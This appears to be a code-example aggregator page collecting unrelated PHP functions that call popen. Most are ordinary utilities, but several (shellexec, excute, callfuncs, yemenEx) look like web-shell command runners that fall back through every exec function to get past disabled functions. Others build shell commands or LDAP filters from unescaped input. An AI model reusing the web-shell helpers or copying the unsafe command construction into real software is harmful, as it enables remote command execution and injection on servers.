Esempio n. 1
0
function hook_post_auth_update_zonep_config($login = null, $password = null) {
    global $ad_server, $ad_base_dn, $ad_bind_dn, $ad_bind_pw;
    global $ldap_server, $ldap_base_dn, $adminRdn, $adminPw, $se3Ip;

    // Check arguments
    if(!is_string($login) or !is_string($password))
	return false;

    // Ensure we have an ActiveDirectory server or LDAP server to contact
    if (empty($ad_server) && empty($ldap_server))
	return false;
	
	// Connect to AD or LDAP
	if (!empty($ad_server))    
		$ds = ldap_connect($ad_server);
	else
		$ds = ldap_connect($ldap_server);	

    if(!$ds)
	return false;
	
    // admin Bind on AD or LDAP
	if (!empty($ad_server))    
    	$r = ldap_bind($ds, $ad_bind_dn, $ad_bind_pw);
    else
    	$r = ldap_bind($ds, $adminRddn.$ldap_base_dn, $adminPw);    

    if(!$r)
	return false;

    // Fetch UNC from Active Directory
    $attributes = array('homeDirectory');

	if (!empty($ad_server))
    	$sr = ldap_search($ds, $ad_base_dn, "(sAMAccountName=$login)", $attributes);
    else 	
    	$sr = ldap_search($ds, $ldap_base_dn, "(uid=$login)", $attributes);

    if (! $sr)
	return false;

    $entries = ldap_get_entries($ds, $sr);

    if(empty($entries[0]['homedirectory'][0]))
	return false;

    if (!empty($ad_server))
    	$smb_share = str_replace('\\', '/', $entries[0]['homedirectory'][0]);
    else
    	$smb_share = "//$se3Ip/$login";

    // Call sudo wrapper to create autofs configuration file
    $handle = popen('sudo lcs-zonep-update-credentials', 'w');
    fwrite($handle, "$login\n$password\n$smb_share\n");
    $status = pclose($handle) >> 8;
    if ($status != 0)
	return false;

    return true;
}
 function SendMail($to, $subject, $body, $headers)
 {
     $command = $this->sendmail_path . " -t";
     if (isset($this->delivery["Headers"])) {
         $headers_values = $this->delivery["Headers"];
         for ($return_path = "", $header = 0, Reset($headers_values); $header < count($headers_values); $header++, Next($headers_values)) {
             if (strtolower(Key($headers_values)) == "return-path") {
                 $return_path = $headers_values[Key($headers_values)];
                 break;
             }
         }
         if (strlen($return_path)) {
             $command .= " -f {$return_path}";
         }
     }
     if (strlen($this->sendmail_arguments)) {
         $command .= " " . $this->sendmail_arguments;
     }
     if (!($pipe = popen($command, "w"))) {
         return $this->OutputError("it was not possible to open sendmail input pipe");
     }
     if (!fputs($pipe, "To: {$to}\n") || !fputs($pipe, "Subject: {$subject}\n") || $headers != "" && !fputs($pipe, "{$headers}\n") || !fputs($pipe, "\n{$body}")) {
         return $this->OutputError("it was not possible to write sendmail input pipe");
     }
     pclose($pipe);
     return "";
 }
Esempio n. 3
0
function Merge($newtext,$oldtext,$pagetext) {
  global $WorkDir,$SysMergeCmd, $SysMergePassthru;
  SDV($SysMergeCmd,"/usr/bin/diff3 -L '' -L '' -L '' -m -E");
  if (substr($newtext,-1,1)!="\n") $newtext.="\n";
  if (substr($oldtext,-1,1)!="\n") $oldtext.="\n";
  if (substr($pagetext,-1,1)!="\n") $pagetext.="\n";
  $tempnew = tempnam($WorkDir,"new");
  $tempold = tempnam($WorkDir,"old");
  $temppag = tempnam($WorkDir,"page");
  if ($newfp=fopen($tempnew,'w')) { fputs($newfp,$newtext); fclose($newfp); }
  if ($oldfp=fopen($tempold,'w')) { fputs($oldfp,$oldtext); fclose($oldfp); }
  if ($pagfp=fopen($temppag,'w')) { fputs($pagfp,$pagetext); fclose($pagfp); }
  $mergetext = '';
  if (IsEnabled($SysMergePassthru, 0)) {
    ob_start();
    passthru("$SysMergeCmd $tempnew $tempold $temppag");
    $mergetext = ob_get_clean();
  }
  else {
    $merge_handle = popen("$SysMergeCmd $tempnew $tempold $temppag",'r');
    if ($merge_handle) {
      while (!feof($merge_handle)) $mergetext .= fread($merge_handle,4096);
      pclose($merge_handle);
    }
  }
  @unlink($tempnew); @unlink($tempold); @unlink($temppag);
  return $mergetext;
}
Esempio n. 4
0
 function SendMail($to, $subject, $body, $headers, $return_path)
 {
     $command = $this->sendmail_path . " -t";
     switch ($this->delivery_mode) {
         case SENDMAIL_DELIVERY_DEFAULT:
         case SENDMAIL_DELIVERY_INTERACTIVE:
         case SENDMAIL_DELIVERY_BACKGROUND:
         case SENDMAIL_DELIVERY_QUEUE:
         case SENDMAIL_DELIVERY_DEFERRED:
             break;
         default:
             return $this->OutputError("it was specified an unknown sendmail delivery mode");
     }
     if ($this->delivery_mode != SENDMAIL_DELIVERY_DEFAULT) {
         $command .= " -O DeliveryMode=" . $this->delivery_mode;
     }
     if (strlen($return_path)) {
         $command .= " -f '" . ereg_replace("'", "'\\''", $return_path) . "'";
     }
     if (strlen($this->sendmail_arguments)) {
         $command .= " " . $this->sendmail_arguments;
     }
     if (!($pipe = popen($command, "w"))) {
         return $this->OutputError("it was not possible to open sendmail input pipe");
     }
     if (!fputs($pipe, "To: {$to}\n") || !fputs($pipe, "Subject: {$subject}\n") || $headers != "" && !fputs($pipe, "{$headers}\n") || !fputs($pipe, "\n{$body}")) {
         return $this->OutputError("it was not possible to write sendmail input pipe");
     }
     pclose($pipe);
     return "";
 }
Esempio n. 5
0
function processor_man($formatter, $value = "")
{
    global $DBInfo;
    if ($value[0] == '#' and $value[1] == '!') {
        list($line, $value) = explode("\n", $value, 2);
    }
    if ($line) {
        list($tag, $args) = explode(' ', $line, 2);
    }
    $vartmp_dir =& $DBInfo->vartmp_dir;
    $tmpf = tempnam($vartmp_dir, "MAN");
    $fp = fopen($tmpf, "w");
    fwrite($fp, $value);
    fclose($fp);
    if (!empty($DBInfo->man_man2html) and $DBInfo->man_man2html == 'groff') {
        $man2html = "groff -Thtml -mman {$tmpf}";
    } else {
        $man2html = "man2html {$tmpf}";
    }
    $html = '';
    $fp = popen($man2html . $formatter->NULL, 'r');
    while ($s = fgets($fp, 1024)) {
        $html .= $s;
    }
    pclose($fp);
    unlink($tmpf);
    $html = preg_replace('@^Content-type: text/html@', '', $html);
    $html = preg_replace('/<\\/?META[^>]*>|<\\/?HTML>|<\\/?HEAD>|<\\/?BODY>|<TITLE>[^>]+<\\/TITLE>/i', '', $html);
    $html = preg_replace('/http:\\/\\/localhost\\/cgi\\-bin\\/man\\/man2html\\?.\\+/', '?action=man_get&man=', $html);
    $html = preg_replace('/http:\\/\\/localhost\\/cgi\\-bin\\/man\\/man2html/', '?goto=ManPage', $html);
    return $html;
}
Esempio n. 6
0
 function shellexec($cmd)
 {
     global $disablefunc;
     $result = "";
     if (!empty($cmd)) {
         if (is_callable("exec") and !in_array("exec", $disablefunc)) {
             exec($cmd, $result);
             $result = join("\n", $result);
         } elseif (($result = `{$cmd}`) !== FALSE) {
         } elseif (is_callable("system") and !in_array("system", $disablefunc)) {
             $v = ob_get_contents();
             ob_clean();
             system($cmd);
             $result = ob_get_contents();
             ob_clean();
             echo $v;
         } elseif (is_resource($fp = popen($cmd, "r"))) {
             $result = "";
             while (!feof($fp)) {
                 $result .= fread($fp, 1024);
             }
             pclose($fp);
         }
     }
     return $result;
 }
Esempio n. 7
0
File: taskls.php Progetto: mergar/cw
function flush_log()
{
    $handle = popen("env NOCOLOR=1 /usr/local/bin/sudo /usr/local/bin/cbsd task mode=flushall", "r");
    $read = fgets($handle, 4096);
    pclose($handle);
    header('Location: taskls.php');
}
 function ReadData($targetstring, &$map, &$item)
 {
     $data[IN] = NULL;
     $data[OUT] = NULL;
     $data_time = 0;
     if (preg_match("/^!(.*)\$/", $targetstring, $matches)) {
         $command = $matches[1];
         debug("ExternalScript ReadData: Running {$command}\n");
         // run the command here
         if (($pipe = popen($command, "r")) === false) {
             warn("ExternalScript ReadData: Failed to run external script. [WMEXT01]\n");
         } else {
             $i = 0;
             while ($i < 5 && !feof($pipe)) {
                 $lines[$i++] = fgets($pipe, 1024);
             }
             pclose($pipe);
             if ($i == 5) {
                 $data[IN] = floatval($lines[0]);
                 $data[OUT] = floatval($lines[1]);
                 $item->add_hint("external_line1", $lines[0]);
                 $item->add_hint("external_line2", $lines[1]);
                 $item->add_hint("external_line3", $lines[2]);
                 $item->add_hint("external_line4", $lines[3]);
                 $data_time = time();
             } else {
                 warn("ExternalScript ReadData: Not enough lines read from external script ({$i} read, 4 expected) [WMEXT02]\n");
             }
         }
     }
     debug("ExternalScript ReadData: Returning (" . ($data[IN] === NULL ? 'NULL' : $data[IN]) . "," . ($data[OUT] === NULL ? 'NULL' : $data[OUT]) . ",{$data_time})\n");
     return array($data[IN], $data[OUT], $data_time);
 }
Esempio n. 9
0
 function System_Pipe($command)
 {
     $handle = popen($command . ' 2>&1', 'r');
     $read = fread($handle, 2096);
     pclose($handle);
     return $read;
 }
Esempio n. 10
0
 /**
  * @param $request_string
  * @return string
  */
 private function output($request_string)
 {
     // 静态 GET /1.html HTTP/1.1 ...
     // 动态 GET /user.cgi?id=1 HTTP/1.1 ...
     $request_array = explode(" ", $request_string);
     if (count($request_array) < 2) {
         return "";
     }
     $uri = $request_array[1];
     echo "request:" . web_config::WEB_ROOT . $uri . "\n";
     $query_string = null;
     if ($uri == "/favicon.ico") {
         return "";
     }
     if (strpos($uri, "?")) {
         $uriArr = explode("?", $uri);
         $uri = $uriArr[0];
         $query_string = isset($uriArr[1]) ? $uriArr[1] : null;
     }
     $filename = web_config::WEB_ROOT . $uri;
     if ($this->cgi_check($uri)) {
         $this->set_env($query_string);
         $handle = popen(web_config::WEB_ROOT . $uri, "r");
         $read = stream_get_contents($handle);
         pclose($handle);
         return $this->add_header($read);
     }
     // 静态文件的处理
     if (file_exists($filename)) {
         return $this->add_header(file_get_contents($filename));
     } else {
         return $this->not_found();
     }
 }
Esempio n. 11
0
function cvs_max_rev($filename, $start, $end)
{
    static $lastfile = "";
    static $array = array();
    if ($filename != $lastfile) {
        $cmd = "/usr/bin/cvs annotate {$filename} 2>/dev/null";
        $fp = popen($cmd, "r");
        if (!$fp) {
            return false;
        }
        $n = 0;
        $array = array();
        $lastfile = $filename;
        while (!feof($fp)) {
            $line = fgets($fp);
            if (empty($line)) {
                continue;
            }
            $tokens = explode(" ", $line);
            $array[++$n] = explode(".", $tokens[0]);
        }
        pclose($fp);
    }
    $max = array();
    for ($n = $start; $n <= $end; $n++) {
        if (rev_cmp($max, $array[$n])) {
            $max = $array[$n];
        }
    }
    return $max;
}
Esempio n. 12
0
 /**
  * Closes any open pipe handle and sets the exit code.
  *
  * @return  void
  */
 public function close()
 {
     if (is_resource($this->handle)) {
         $this->exitCode = pclose($this->handle);
     }
     $this->handle = null;
 }
Esempio n. 13
0
/**
 * Start the commandline to send a newsletter
 * This is offloaded because it could take a while and/or resources
 *
 * @param Newsletter $entity Newsletter entity to be processed
 *
 * @return void
 */
function newsletter_start_commandline_sending(Newsletter $entity)
{
    if (!elgg_instanceof($entity, 'object', Newsletter::SUBTYPE)) {
        return;
    }
    // prepare commandline settings
    $settings = ['entity_guid' => $entity->getGUID(), 'host' => $_SERVER['HTTP_HOST'], 'memory_limit' => ini_get('memory_limit'), 'secret' => newsletter_generate_commanline_secret($entity->getGUID())];
    if (isset($_SERVER['HTTPS'])) {
        $settings['https'] = $_SERVER['HTTPS'];
    }
    // ini settings
    $ini_param = '';
    $ini_file = php_ini_loaded_file();
    if (!empty($ini_file)) {
        $ini_param = "-c {$ini_file} ";
    }
    // which script to run
    $script_location = dirname(dirname(__FILE__)) . '/procedures/cli.php';
    // convert settings to commandline params
    $query_string = http_build_query($settings, '', ' ');
    // start the correct commandline
    if (PHP_OS === 'WINNT') {
        pclose(popen('start /B php ' . $ini_param . $script_location . ' ' . $query_string, 'r'));
    } else {
        exec('php ' . $ini_param . $script_location . ' ' . $query_string . ' > /dev/null &');
    }
}
Esempio n. 14
0
function experimentmail__send($recipient, $subject, $message, $headers, $env_sender = "")
{
    global $settings;
    if (isset($settings['bcc_all_outgoing_emails']) && $settings['bcc_all_outgoing_emails'] == 'y' && isset($settings['bcc_all_outgoing_emails__address']) && $settings['bcc_all_outgoing_emails__address']) {
        $headers = $headers . "Bcc: " . $settings['bcc_all_outgoing_emails__address'] . "\r\n";
    }
    if (!$env_sender) {
        $env_sender = $settings['support_mail'];
    }
    if ($settings['email_sendmail_type'] == "indirect") {
        if ($settings['email_sendmail_path']) {
            $sendmail_path = $settings['email_sendmail_path'];
        } else {
            $sendmail_path = "/usr/sbin/sendmail";
        }
        $sendmail = $sendmail_path . " -t -i -f {$env_sender}";
        $fd = popen($sendmail, "w");
        fputs($fd, "To: {$recipient}\r\n");
        fputs($fd, $headers);
        fputs($fd, "Subject: {$subject}\r\n");
        fputs($fd, "X-Mailer: orsee\r\n\r\n");
        fputs($fd, $message);
        pclose($fd);
        $done = true;
    } else {
        $headers = "Errors-To: " . $settings['support_mail'] . "\r\n" . $headers;
        $done = mail($recipient, $subject, $message, $headers, '-f ' . $env_sender);
    }
    return $done;
}
Esempio n. 15
0
 function doRepositoryTest($repo)
 {
     if ($repo->accessType != "ssh") {
         return -1;
     }
     $basePath = "../../../plugins/access.ssh/";
     // Check file exists
     if (!file_exists($basePath . "class.sshAccessDriver.php") || !file_exists($basePath . "class.SSHOperations.php") || !file_exists($basePath . "manifest.xml") || !file_exists($basePath . "showPass.php") || !file_exists($basePath . "sshActions.xml")) {
         $this->failedInfo .= "Missing at least one of the plugin files (class.sshDriver.php, class.SSHOperations.php, manifest.xml, showPass.php, sshActions.xml).\nPlease reinstall from lastest release.";
         return FALSE;
     }
     // Check if showPass is executable from ssh
     $stat = stat($basePath . "showPass.php");
     $mode = $stat['mode'] & 0x7fff;
     // We don't care about the type
     if (!is_executable($basePath . 'showPass.php') && ($mode & 0x40 && $stat['uid'] == posix_getuid()) && ($mode & 0x8 && $stat['gid'] == posix_getgid()) && $mode & 0x1) {
         chmod($basePath . 'showPass.php', 0555);
         if (!is_executable($basePath . 'showPass.php')) {
             $this->failedInfo .= "showPass.php must be executable. Please log in on your server and set showPass.php as executable (chmod u+x showPass.php).";
             return FALSE;
         }
     }
     // Check if ssh is accessible
     $handle = popen("ssh 2>&1", "r");
     $usage = fread($handle, 30);
     pclose($handle);
     if (strpos($usage, "usage") === FALSE) {
         $this->failedInfo .= "Couldn't find or execute 'ssh' on your system. Please install latest SSH client.";
         return FALSE;
     }
     return TRUE;
 }
Esempio n. 16
0
function tagger()
{
    if (func_num_args()) {
        $arg_list = func_get_args();
        $string = $arg_list[0];
    } else {
        return false;
    }
    if (file_exists("medpost")) {
        $commandstring = "./medpost -token";
    } elseif (defined(MEDPOST_DIR)) {
        if (file_exists(MEDPOST_DIR . "medpost")) {
            $commandstring = MEDPOST_DIR . "medpost -token";
        } else {
            print "Medpost could not be found. Please check MEDPOST_DIR value.";
            return false;
        }
    } else {
        print "Medpost could not be found.";
        return false;
    }
    $handle = popen("echo \"{$string}\" | {$commandstring} ", "r");
    $read = fread($handle, 2096);
    echo $read;
    pclose($handle);
    $split = preg_split("/\\s/", $read);
    print_r($split);
}
Esempio n. 17
0
function num_cpus()
{
    $numCpus = 1;
    if (is_file('/proc/cpuinfo')) {
        $cpuinfo = file_get_contents('/proc/cpuinfo');
        preg_match_all('/^processor/m', $cpuinfo, $matches);
        $numCpus = count($matches[0]);
    } elseif ('WIN' == strtoupper(substr(PHP_OS, 0, 3))) {
        $process = @popen('wmic cpu get NumberOfCores', 'rb');
        if (false !== $process) {
            fgets($process);
            $numCpus = intval(fgets($process));
            pclose($process);
        }
    } else {
        $process = @popen('sysctl -a', 'rb');
        if (false !== $process) {
            $output = stream_get_contents($process);
            preg_match('/hw.ncpu: (\\d+)/', $output, $matches);
            if ($matches) {
                $numCpus = intval($matches[1][0]);
            }
            pclose($process);
        }
    }
    return $numCpus;
}
 public function doAction()
 {
     //check if id file and job is a number
     //if (is_numeric($this->id_file) && is_numeric($this->id_job))
     //convert id_file and id_job into a numbers
     $id_file = (int) $this->id_file;
     $id_job = (int) $this->id_job;
     ini_set('max_execution_time', 6000);
     $ret = -1;
     if (substr(php_uname(), 0, 7) == "Windows") {
         log::doLog("windows");
         $ret = pclose(popen("start C:\\wamp\\bin\\php\\php5.4.3\\php " . INIT::$MODEL_ROOT . "/exportLog.php " . $id_file . " " . $id_job . " 1", "r"));
     } else {
         $ret = pclose(popen("nohup php " . INIT::$MODEL_ROOT . "/exportLog.php " . $id_file . " " . $id_job . " 1 &", "r"));
     }
     log::doLog("CASMACAT: return exportLog: " . $ret);
     ini_set('max_execution_time', 30);
     //        $this->filename ="log_id".$this->id_file."_".$this->file_name.".xml";
     //        header('Content-Type: text/xml; charset=UTF-8');
     //        header('Content-Disposition: attachment; filename="' . $this->file_name . '.xml"');
     //
     //        //log::doLog("CASMACAT: file: ".INIT::$LOG_DOWNLOAD . "/" .$this->filename);
     //
     //        $this->content = file_get_contents(INIT::$LOG_DOWNLOAD . "/" . $this->filename);
     if ($ret == "END") {
         $this->result['code'] = 0;
         $this->result['data'] = "OK";
     } else {
         $this->result['errors'] = "It is not possible to get the log file";
         $this->result['code'] = -1;
     }
 }
Esempio n. 19
0
 public function execute($do = true)
 {
     $cmd = $this->command;
     for ($i = 0; $i < count($this->values); $i++) {
         $cmd .= $this->attributeSeparator . $this->values[$i];
     }
     foreach ($this->attributes as $key => $value) {
         $cmd .= $this->attributeSeparator . $this->attributeInitiator . $key . ($value != "" ? $this->attributeOperator . $value : "");
     }
     $cmd = $cmd . ($this->pipe != null ? " | " . $this->pipe->getPipeCommand() : "");
     if ($do) {
         if ($this->username == "") {
             $this->output = shell_exec($cmd);
         } else {
             $c = '/bin/su ' . $this->username . ' -c "' . $cmd . '" 2>&1';
             $handle = popen($c, "r");
             $read = fread($handle, 2096);
             pclose($handle);
             if (trim($read) == "su: must be run from a terminal") {
                 die("su has been disabled for the user of your webserver. Maybe you want to try sudo...");
             } else {
                 $_SESSION["messages"]->addMessage("System: {$c}", "System");
                 $fp = popen($c, "w");
                 fputs($fp, $this->password);
                 pclose($fp);
             }
             $this->output = "No output available in su-mode";
         }
     } else {
         return $cmd;
     }
 }
Esempio n. 20
0
 /**
  * Init scan process.
  * Solution for realtime output find on: http://stackoverflow.com/questions/1281140/run-process-with-realtime-output-in-php
  * Maybe ugly, but sometimes at 3AM it's only what is getting out of head ;-)
  */
 public function initScan()
 {
     $view = new Views('templates/head.tpl.php');
     $view->set('class', 'scanner');
     print $view->render();
     set_time_limit(0);
     $handle = popen(PHP . " scanner.php " . $this->project_id, "r");
     if (ob_get_level() == 0) {
         ob_start();
     }
     while (!feof($handle)) {
         $buffer = fgets($handle);
         $buffer = trim(htmlspecialchars($buffer));
         $data = explode(';', $buffer);
         switch ($data[0]) {
             case 'FOUND':
                 print "<div class=\"infobox\"><h3>Found something</h3><p><strong>Time:</strong> " . $data[1] . "<br><strong>Filter name:</strong> " . $data[2] . "<br><strong>Line:</strong> " . $data[3] . "<br><strong>File:</strong> " . $data[4] . "</p><a href=\"/report/" . $data[5] . "\" target=\"_blank\"><span class=\"button warning_button\" style=\"\">Show report</span></a></div>";
                 break;
             case 'NOT_FOUND':
                 print "<div class=\"infobox\"><h3>WOW!</h3><p>Scanner didn't found anything. So your project is sooo secure. You are security mastah, or the filters are too weak ;-) Anyway, I recommend to do a manual code review, to be 100% sure ;-)</p></div>";
                 break;
             case 'SCANNED':
                 print "<div class=\"infobox\"><h3>Hmmmm...</h3><p>Your project has been scanned before. Please go to project to check your reports. <br><a href=\"/show/" . $this->project_id . "\" target=\"_parent\"><span class=\"button\">Go to project page</span></a></p></div>";
                 break;
         }
         ob_flush();
         flush();
         time_nanosleep(0, 10000000);
     }
     pclose($handle);
     ob_end_flush();
 }
Esempio n. 21
0
 /**
  * Check username/password
  *
  * @return bool
  */
 public function checkPass($user, $pass)
 {
     // get user information
     $userinfo = posix_getpwnam($user);
     if (empty($userinfo)) {
         return false;
     }
     // run pwauth
     $handle = popen($this->pwauth_path, "w");
     if ($handle === false) {
         echo "failed to execute " . $this->pwauth_path . "!";
         return false;
     }
     // write user and password to pwauth
     if (fwrite($handle, "{$user}\n{$pass}\n") === false) {
         echo "failed to write to pwauth!";
         return false;
     }
     // authentication is successful only if the exit status of pwauth is 0
     $status = pclose($handle);
     if ($status == 0) {
         return true;
     }
     return false;
 }
Esempio n. 22
0
 /**
  * @param \Symfony\Component\Console\Input\InputInterface $input
  * @param \Symfony\Component\Console\Output\OutputInterface $output
  * @return int|void
  */
 protected function execute(InputInterface $input, OutputInterface $output)
 {
     declare (ticks=1);
     $this->output = $output;
     // Register shutdown function
     register_shutdown_function(array($this, 'stopCommand'));
     // Register SIGTERM/SIGINT catch if script is killed by user
     if (function_exists('pcntl_signal')) {
         pcntl_signal(SIGTERM, array($this, 'stopCommand'));
         pcntl_signal(SIGINT, array($this, 'stopCommand'));
     } else {
         $this->output->writeln('<options=bold>Note:</> The PHP function pcntl_signal isn\'t defined, which means you\'ll have to do some manual clean-up after using this command.');
         $this->output->writeln('Remove the file \'app/Mage.php.rej\' and the line \'Mage::log($name, null, \'n98-magerun-events.log\');\' from app/Mage.php after you\'re done.');
     }
     $this->detectMagento($output);
     if ($this->initMagento()) {
         $currentMagerunDir = dirname(__FILE__);
         $patch = $currentMagerunDir . '/0001-Added-logging-of-events.patch';
         // Enable logging & apply patch
         shell_exec('cd ' . \Mage::getBaseDir() . ' && n98-magerun.phar dev:log --on --global && patch -p1 < ' . $patch);
         $output->writeln('Tailing events... ');
         // Listen to log file
         shell_exec('echo "" > ' . \Mage::getBaseDir() . '/var/log/n98-magerun-events.log');
         $handle = popen('tail -f ' . \Mage::getBaseDir() . '/var/log/n98-magerun-events.log 2>&1', 'r');
         while (!feof($handle)) {
             $buffer = fgets($handle);
             $output->write($buffer);
             flush();
         }
         pclose($handle);
     }
 }
function excute($cfe) {
  $res = '';
  if (!empty($cfe)) {
    if(@function_exists('exec')) {
      @exec($cfe,$res);
      $res = join("\n",$res);
    } elseif(@function_exists('shell_exec')) {
      $res = @shell_exec($cfe);
    } elseif(@function_exists('system')) {
      @ob_start();
      @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(@function_exists('passthru')) {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
      $res = "";
      while(!@feof($f)) { $res .= @fread($f,1024); }
      @pclose($f);
    } else { $res = "Ex() Disabled!"; }
  }
  return $res;
}
function callfuncs($cmnd)
{
    if (function_exists(shell_exec)) {
        $scmd = shell_exec($cmnd);
        $nscmd = htmlspecialchars($scmd);
        print $nscmd;
    } elseif (!function_exists(shell_exec)) {
        exec($cmnd, $ecmd);
        $ecmd = join("\n", $ecmd);
        $necmd = htmlspecialchars($ecmd);
        print $necmd;
    } elseif (!function_exists(exec)) {
        $pcmd = popen($cmnd, "r");
        while (!feof($pcmd)) {
            $res = htmlspecialchars(fgetc($pcmd));
            print $res;
        }
        pclose($pcmd);
    } elseif (!function_exists(popen)) {
        ob_start();
        system($cmnd);
        $sret = ob_get_contents();
        ob_clean();
        print htmlspecialchars($sret);
    } elseif (!function_exists(system)) {
        ob_start();
        passthru($cmnd);
        $pret = ob_get_contents();
        ob_clean();
        print htmlspecialchars($pret);
    }
}
Esempio n. 25
0
function progressBar($cmd, $regexp)
{
    global $config;
    $line = "";
    $out = 0;
    $left = $config['progressBarLength'];
    debug('execute', $cmd);
    $fp = popen($cmd . ' 2>&1', 'r');
    while (!feof($fp)) {
        $data = fread($fp, 1);
        if (ord($data) == 13 || ord($data) == 10) {
            if (preg_match($regexp, $line, $match)) {
                $curr = (int) ((int) $match[1] * $config['progressBarLength'] / 100);
                for ($i = $out; $i < $curr; $i++) {
                    echo $config['progressBarChar'];
                    $out++;
                    $left--;
                }
            }
            $line = "";
        } else {
            $line .= $data;
        }
        flush();
    }
    pclose($fp);
    while ($left) {
        echo $config['progressBarChar'];
        $left--;
        $out++;
    }
    flush();
}
Esempio n. 26
0
 /**
  * Asyncrhonous Convert all Video format to video/webm
  *   
  * Use ffmpeg for conversion
  * @return void
  * @author Cédric Levasseur
  */
 public static function FastEncodeVideo($file)
 {
     $basefile = new File($file);
     $basepath = File::a2r($file);
     $path_thumb_webm = File::Root() . '/' . Settings::$thumbs_dir . dirname($basepath) . "/" . $basefile->name . '.webm';
     $path_thumb_jpg = File::Root() . '/' . Settings::$thumbs_dir . dirname($basepath) . "/" . $basefile->name . '.jpg';
     if (!file_exists($path_thumb_webm) || filectime($file) > filectime($path_thumb_webm)) {
         /// Create Folder
         if (!file_exists(dirname($path_thumb_webm))) {
             @mkdir(dirname($path_thumb_webm), 0755, true);
         }
     }
     error_log($file, 0);
     error_log($path_thumb_webm, 0);
     if ($basefile->extension != "webm") {
         if (!file_exists($path_thumb_webm)) {
             ///Create Thumbnail jpg in  Thumbs folder
             $u = Settings::$ffmpeg_path . ' -itsoffset -4  -i ' . $file . ' -vcodec mjpeg -vframes 1 -an -f rawvideo -s 320x240 -y ' . $path_thumb_jpg;
             error_log($u, 0);
             pclose(popen('start /b ' . $u . '', 'r'));
             ///Convert video to webm format in Thumbs folder
             $u = Settings::$ffmpeg_path . ' -threads 4 -i ' . $file . ' ' . Settings::$ffmpeg_option . ' -y ' . $path_thumb_webm . ' 2>&1';
             error_log($u, 0);
             pclose(popen('start /b ' . $u . '', 'r'));
         }
     } else {
         //Create Thumbnail jpg in Thumbs folder
         $u = Settings::$ffmpeg_path . ' -itsoffset -4  -i ' . $file . ' -vcodec mjpeg -vframes 1 -an -f rawvideo -s 320x240 -y ' . $path_thumb_jpg;
         pclose(popen('start /b ' . $u . '', 'r'));
         ///Copy original webm video to Thumbs folder
         copy($file, $path_thumb_webm);
     }
 }
function yemenEx($in)
{
    $out = '';
    if (function_exists('exec')) {
        @exec($in, $out);
        $out = @join("\n", $out);
    } elseif (function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    } elseif (function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    } elseif (function_exists('shell_exec')) {
        $out = shell_exec($in);
    } elseif (is_resource($f = @popen($in, "r"))) {
        $out = "";
        while (!@feof($f)) {
            $out .= fread($f, 1024);
        }
        pclose($f);
    }
    return $out;
}
Esempio n. 28
0
function check_language($cmd)
{
    /// return users current language if its
    /// dictionary is found installed in system
    /// and always return english if user's own
    /// language is not in the list. If english dictionary
    /// isn't found, then false is returned.
    global $CFG;
    clearstatcache();
    $current_lang = str_replace('_utf8', '', current_language());
    $output = '';
    if (!($handle = popen($cmd . ' dump dicts', 'r'))) {
        error_handler("Couldn't create handle!");
        exit;
    }
    while (!feof($handle)) {
        $output .= fread($handle, 1024);
    }
    @pclose($handle);
    $dicts = explode(chr(10), strtolower($output));
    if (is_array($dicts)) {
        if (in_array($current_lang, $dicts)) {
            return $current_lang;
        }
    }
    if (!empty($CFG->editordictionary)) {
        return $CFG->editordictionary;
    }
    return false;
}
Esempio n. 29
0
/**
 * Start the commandline to send a newsletter
 * This is offloaded because it could take a while and/or resources
 *
 * @param Newsletter $entity Newsletter entity to be processed
 *
 * @return void
 */
function newsletter_start_commandline_sending(Newsletter $entity)
{
    if (!empty($entity) && elgg_instanceof($entity, "object", Newsletter::SUBTYPE)) {
        // prepare commandline settings
        $settings = array("entity_guid" => $entity->getGUID(), "host" => $_SERVER["HTTP_HOST"], "memory_limit" => ini_get("memory_limit"), "secret" => newsletter_generate_commanline_secret($entity->getGUID()));
        if (isset($_SERVER["HTTPS"])) {
            $settings["https"] = $_SERVER["HTTPS"];
        }
        // ini settings
        $ini_param = "";
        $ini_file = php_ini_loaded_file();
        if (!empty($ini_file)) {
            $ini_param = "-c " . $ini_file . " ";
        }
        // which script to run
        $script_location = dirname(dirname(__FILE__)) . "/procedures/cli.php";
        // convert settings to commandline params
        $query_string = http_build_query($settings, "", " ");
        // start the correct commandline
        if (PHP_OS === "WINNT") {
            pclose(popen("start /B php " . $ini_param . $script_location . " " . $query_string, "r"));
        } else {
            exec("php " . $ini_param . $script_location . " " . $query_string . " > /dev/null &");
        }
    }
}
Esempio n. 30
0
 /**
  *	Run script in HTTP. Return hash:
  *	
  *		headers		Hash of headers (lowercased)
  *		body		Message body
  *		
  *	In case of error, headers&body are NULL.
  *
  *	@param		url		string		Relative URL
  *	@param		chdir	string		Script directory in filesystem
  *	@return		hash
  */
 public function runScript($url, $chdir = '.')
 {
     $res = array('headers' => NULL, 'body' => NULL);
     $old_env = array();
     $old_dir = getcwd();
     preg_match('#^ ( (?:[^?]*/)? ([^/?]+)) (?: \\?(.*) )? $#x', $url, $m) or die("Malformed URI `{$url}'");
     list($null, $base_url, $script, $args) = $m;
     if ($base_url[0] != '/') {
         $base_url = '/' . $base_url;
     }
     foreach (self::__prepare_environment($base_url, $url, $args, $chdir, $script) as $n => $v) {
         $old_env[$n] = getenv($n);
         putenv("{$n}={$v}");
     }
     $cmd = self::__prepare_launch_command($script);
     chdir($chdir);
     if ($fp = popen($cmd, 'r')) {
         $output = '';
         while (!feof($fp)) {
             $output .= fgets($fp);
         }
         pclose($fp);
         list($h, $b) = preg_split('/\\r?\\n\\r?\\n/', $output, 2);
         $res['headers'] = self::__parse_headers($h);
         $res['body'] = $b;
     }
     chdir($old_dir);
     foreach ($old_env as $n => $v) {
         putenv("{$n}={$v}");
     }
     return $res;
 }